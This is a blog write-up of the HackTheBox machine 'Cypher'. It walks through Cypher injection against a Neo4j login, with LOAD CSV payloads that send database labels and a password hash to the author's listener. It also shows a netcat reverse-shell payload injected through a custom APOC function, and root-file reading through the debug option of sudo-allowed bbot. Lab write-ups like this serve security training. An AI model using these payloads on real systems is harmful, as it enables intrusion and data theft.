Cypher Writeup (HackTheBox Medium Machine)


Overview

Cypher is a medium Linux machine from HackTheBox. This machine plays with very rare vulnerabilities and forces you to enumerate and research more information.

The box starts with discovering several Java class files on the website. Upon decompiling them, we discover custom function capable of giving us a reverse shell.

Next, we discover a unique vulnerability known as Cypher injection with Neo4j graph database running in the back end. Via this Cypher injection, we call the mentioned function and get a foothold on the machine.

Inside, we find credentials for another low-privileged user with sudo permission over Bbot recon scanner. We find out that Bbot has debug capability and we abuse it to read the root flag.


Nmap scan

Starting with Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.11.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 13:10 EST
Nmap scan report for 10.10.11.57
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 462.00 ms 10.10.14.1
2 501.27 ms 10.10.11.57

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds

The Nmap scan shows that we have 2 very common ports open. Port 22 for SSH and port 80 for HTTP server running on Nginx 1.24.0. Don’t forget to add “cypher.htb” to your “/etc/hosts” file.


Web enumeration

The website has title “GRAPH ASM” and presents itself as “revolutionary Attack Surface Management solution that harnesses the power of proprietary graph technology to map your organization’s digital landscape.”


When I looked at the source code, there was a comment that caught my attention. A quote from a potential user “TheFunky1”.

In the source code for login page, I found a script that makes POST request to “/api/auth” endpoint, suggesting there’s an API, which opened doors for more attack vectors.


I continued with directory fuzzing using Gobuster.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://cypher.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 4562]
/login (Status: 200) [Size: 3671]
/about (Status: 200) [Size: 4986]
/demo (Status: 307) [Size: 0] [--> /login]
/api (Status: 307) [Size: 0] [--> /api/docs]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]


Beside couple already known directories, there was “demo” page redirecting me to “login”, “api” page redirecting me to docs, but “testing” page was interesting. There was a mysterious jar (Java Archive) file labeled as “custom_apoc_extension”. I quickly downloaded it.

APOC stands for “Awesome Procedures on Cypher,” and it is a library of procedures and functions for Neo4j, a popular graph database. APOC extends the capabilities of Neo4j by providing a wide range of additional functionality that is not available in the core database. This includes utilities for data import/export, graph algorithms, data transformation, and more. (Blackbox.ai)


Decompiling Java class file & finding interesting function

I scrutinized all the files and found out that Neo4j is being used. Title of this machine is Cypher, which is in fact related to Neo4j because it is Neo4j’s query language. It’s like SQL but for graph databases.

Neo4j is a leading graph database management system that stores data as interconnected nodes and relationships, making it ideal for representing complex relationships. It is built using Java technology. (Blackbox.ai)

Cypher is a declarative query language specifically designed for querying and manipulating graph data in Neo4j, which is a popular graph database management system. (Blackbox.ai)

Besides that, there were couple Java class files in the Jar archive.

custom functions found in the Jar archive


I used online Java decompiler to decompile and inspect individual files. Looking at the decompiled code of “CustomFunctions.class”, I noticed very familiar string “/bin/sh” being used.

There is a custom function/procedure named “custom.getUrlStatusCode”. To summarize the code, it makes an HTTP request to the given URL and returns the HTTP status code. It uses “curl” to make the request, which is invoked by “/bin/sh”, so this seems like a potential attack vector.

In addition to that, the “url” parameter is directly concatenated to the shell command without any validation, making RCE possible.


Cypher injection & finding credentials (with uncrackable hash)

It was time to do some research on this. I found this article, in which author shares his experience with Neo4j and explains how he discovered and exploited vulnerability known as Cypher injection: https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8. This one helped me understand Neo4j and Cypher.

Another article explaining the exploitation of Cypher injection on different HackTheBox machine: https://infosecwriteups.com/onlyforyou-htb-lfr-rce-cypher-injection-neo4j-graph-database-pip3-download-code-execution-7855193b3d5c. This one helped me during the exploitation.

I came back to login page and tried to test for Cypher injection appending a single quote. A long red error message came back, confirming that it is vulnerable to Cypher injection and confirming that it’s actually running Neo4j.

long red error message confirming Cypher injection


The following payload sends back the version, name and edition of the Neo4j database. It doesn’t return it to my server specifically, but reflects it in the error message. Neo4j version 5.24.1, named “Neo4j Kernel” and community edition.

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.144:9000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
getting back Neo4j version, name and edition in response


This next payload sends back all the labels or tables from the database. This time it actually returned to my Python3 HTTP server. There was one particularly interesting label “USER”.

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.144:9000/?'+label AS b RETURN b//
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.57 - - [04/Mar/2025 14:42:12] "GET /?USER HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:12] "GET /?HASH HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:13] "GET /?DNS_NAME HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:13] "GET /?SHA1 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:13] "GET /?SCAN HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:13] "GET /?ORG_STUB HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:42:13] "GET /?IP_ADDRESS HTTP/1.1" 200 -


Finally time for retrieving the data. This query saves the label in variable “f” and sends the data to my Python3 HTTP server. I changed the variable “f” for all the labels. I got username “graphasm” and it’s SHA1 hashed password back, plus some other stuff.

' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.144:9000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.57 - - [04/Mar/2025 14:52:25] "GET /?name=graphasm HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:54:44] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?scope_distance=0 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?type=SCAN HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:55:04] "GET /?web_spider_distance=0 HTTP/1.1" 200 -
10.10.11.57 - - [04/Mar/2025 14:56:26] "GET /?host=211.255.9.117 HTTP/1.1" 200 -

After a lot of trying, I was NOT able to crack the SHA1 hash.


Getting reverse shell by calling custom function via Cypher injection

To be honest, I wasn’t able to figure out the correct payload to call the function “custom.getUrlStatusCode” found in decompiled “CustomFunctions.class”.

I got the following payload from https://breachforums.st/Thread-Cypher-Hack-the-Box-Season-7-Linux-Medium.

"a' return h.value as a UNION CALL custom.getUrlStatusCode("http://10.10.x.x:80;busybox nc 10.10.x.x 4444 -e sh;#") YIELD statusCode AS a RETURN a;//"

It basically makes a call to function “custom.getUrlStatusCode” with a Netcat command in the parameter, which gets executed and connects back to my listener.


I entered the payload to “username” parameter and I got the reverse shell as user “neo4j”. There was a user flag in “/home/graphasm” but I cannot read it with my “neo4j” user.


User flag

Looking at the files in home directory of user “graphasm”, we quickly find this user’s password in “bbot_preset.yml” in the configuration.

neo4j@cypher:/home/graphasm$ ls -la     
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root root 4096 Oct 8 17:58 ..
lrwxrwxrwx 1 root root 9 Oct 8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .ssh
-rw-r----- 1 root graphasm 33 Mar 5 17:22 user.txt
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
module_dirs: /home/graphasm

targets:
- ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
modules:
neo4j:
username: neo4j
password: [REDACTED]
neo4j@cypher:/home/graphasm$ su graphasm
Password:
graphasm@cypher:~$

Now I could get the user flag.


Root flag & exploiting file read in Bbot

Checking our user’s sudo permissions with “sudo -l”, we find out that we can run “bbot” with sudo.

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot

Bbot is a multipurpose scanner inspired by Spiderfoot, built to automate recon.


I checked the Bbot’s source code.

graphasm@cypher:~$ cat /usr/local/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())

The script removes any suffix from the file set as argument and runs the “main” function from “bbot.cli”.


Bbot is supposed to take a URL or list of URLs as argument, then scan these targets. In fact it does not even have to be list of URLs, it could be anything and Bbot will still try to work with it. For example, I entered file I created “file.txt” with content “justfile123” as an argument “-t” or target.

graphasm@cypher:~$ sudo /usr/local/bin/bbot -t /home/graphasm/file.txt 
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Reading targets from file: /home/graphasm/file.txt
[INFO] Scan with 0 modules seeded with 1 targets (1 in whitelist)
[WARN] No scan modules to load
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] internal.excavate: Compiling 11 YARA rules
[INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443
[SUCC] Setup succeeded for 12/12 modules.
[SUCC] Scan ready. Press enter to execute overmedicated_kathleen


To understand it’s functionality a bit more, I read the help page of Bbot, to see what options I have. I came across option “-d” or debug, which got me thinking, perhaps it could show more information about the file or the process it’s taking. It’s running with sudo, so there might be a possibility of reading files. I quickly tried it to see if I got lucky.

graphasm@cypher:~$ sudo /usr/local/bin/bbot -t /home/graphasm/file.txt -d
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Reading targets from file: /home/graphasm/file.txt
[DBUG] Preset bbot_cli_main: Adding module "json" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "csv" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "python" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "stdout" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "txt" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "aggregate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "dnsresolve" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "cloudcheck" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "excavate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "speculate" of type "internal"
[VERB] Creating events from 1 targets
[VERB]
[VERB] ### MODULES ENABLED ###
[VERB]
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events |
[VERB] +============+==========+=================+===============================+===============+======================+====================+
[VERB] | csv | output | No | Output to CSV | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | json | output | No | Output to Newline-Delimited | | * | |
[VERB] | | | | JSON (NDJSON) | | | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
..............
[LOT OF DATA]
..............

There was a lot of output. But in the middle of all that, there was the message I stored in my file completely exposed.

content of my dummy file exposed in Bbot’s output

After this terrific discovery, I simply replaced my file with “/root/root.txt” and got the flag.


Summary

Cypher is a medium machine from HackTheBox. As the title implies, it’s playing with super underrated vulnerability known as Cypher injection, similar to SQL injection but for graph databases such as Neo4j (funfact: Neo4j is also running in Bloodhound). In addition to that, there’s a bit of reverse engineering of Java class files. Thanks to a custom function and RCE capability of Cypher injection, we get a reverse shell. During our hunt for root flag, we use/abuse the debug option in multipurpose recon scanner called Bbot. Very interesting and fun machine, although kinda hard at times, but definitely learnt a lot during this one.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)